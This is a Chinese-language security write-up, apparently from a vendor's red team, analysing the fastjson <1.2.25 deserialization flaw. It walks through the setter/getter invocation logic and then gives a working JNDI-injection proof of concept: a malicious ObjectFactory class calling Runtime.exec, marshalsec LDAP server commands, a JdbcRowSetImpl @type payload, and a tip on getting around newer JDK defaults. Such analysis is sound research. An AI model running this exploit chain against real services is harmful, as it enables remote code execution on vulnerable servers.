本文将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等,后续将以fastjson组件版本为时间轴,持续发布漏洞演变历程文章。
Fastjson<1.2.25
@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。
import java.util.Map;
public class User {
private String name;
private Map map;
public String getName() {
System.out.println("getName is running ...");
return name;
}
public void setName(String name) {
System.out.println("setName is running ...");
this.name=name;
}
@Override
public String toString() {
return "User
经过代码追踪,发现属性赋值是在FieldDeserializer.java的setValue函数中,因为map属性不存在set方法,故在setValue函数中fieldInfo.getOnly为true,method为getmap方法
public void setValue(Object object, Object value) {
if (value==null //
&& fieldInfo.fieldClass.isPrimitive()) {
return;
}
try {
Method method=fieldInfo.method;
if (method !=null) {
if (fieldInfo.getOnly) {//set方法不存在,根据类型调用get方法
if (fieldInfo.fieldClass==AtomicInteger.class) {
AtomicInteger atomic=(AtomicInteger) method.invoke(object);
if (atomic !=null) {
atomic.set(((AtomicInteger) value).get());
}
} else if (fieldInfo.fieldClass==AtomicLong.class) {
AtomicLong atomic=(AtomicLong) method.invoke(object);
if (atomic !=null) {
atomic.set(((AtomicLong) value).get());
}
} else if (fieldInfo.fieldClass==AtomicBoolean.class) {
AtomicBoolean atomic=(AtomicBoolean) method.invoke(object);
if (atomic !=null) {
atomic.set(((AtomicBoolean) value).get());
}
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
Map map=(Map) method.invoke(object);
if (map !=null) {
map.putAll((Map) value);
}
} else {
Collection collection=(Collection) method.invoke(object);
if (collection !=null) {
collection.addAll((Collection) value);
}
}
} else {//set方法存在,调用set方法
method.invoke(object, value);
}
return;
}
调试可以发现调用链如下:
(2)漏洞利用,经过上述分析,满足一下任意条件可进行RCE
找到一个类,存在一个属性,属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型,定义了属性的get方法但未定义set方法,在get方法中可构造gadget链达到代码执行目的。
找到一个类,存在一个属性,定义了set方法,在方法中可构造gadget链达到代码执行目的。
找到一个类JdbcRowSetImpl,在变量autoCommit的set函数中,会调用connect函数:
connect函数中,会获取private成员变量dataSourceName,作为lookup函数的参数进行服务获取,这时JNDI注入攻击走起:
步骤1:启动HTTP服务并放置构造函数具有RCE的攻击类,启动LDAP服务
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote {
public Exploit() throws IOException {
System.out.println("Exploit");
Runtime.getRuntime().exec("calc");
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("getObjectInstance");
Runtime.getRuntime().exec("calc");
return null;
}
}
python -m SimpleHTTPServer 80 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
步骤2:触发json解析,实现计算器弹窗
String className="com.sun.rowset.JdbcRowSetImpl";
String dataSourceName="ldap://127.0.0.1:7777/any";
json="{"@type":"" + className + ""," + ""dataSourceName":"" + dataSourceName + ""," + ""autoCommit":true" + "}";
//JDK 8u191及以后,默认为false,以下为了调试手工改了配置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
JSON.parse(json);
针对高版本JDK,默认配置限制了远程factory类的下载,实际环境中可以用LDAP+本地反序列化的方式去进行利用。
本文作者:CTCS安全攻防团队? pom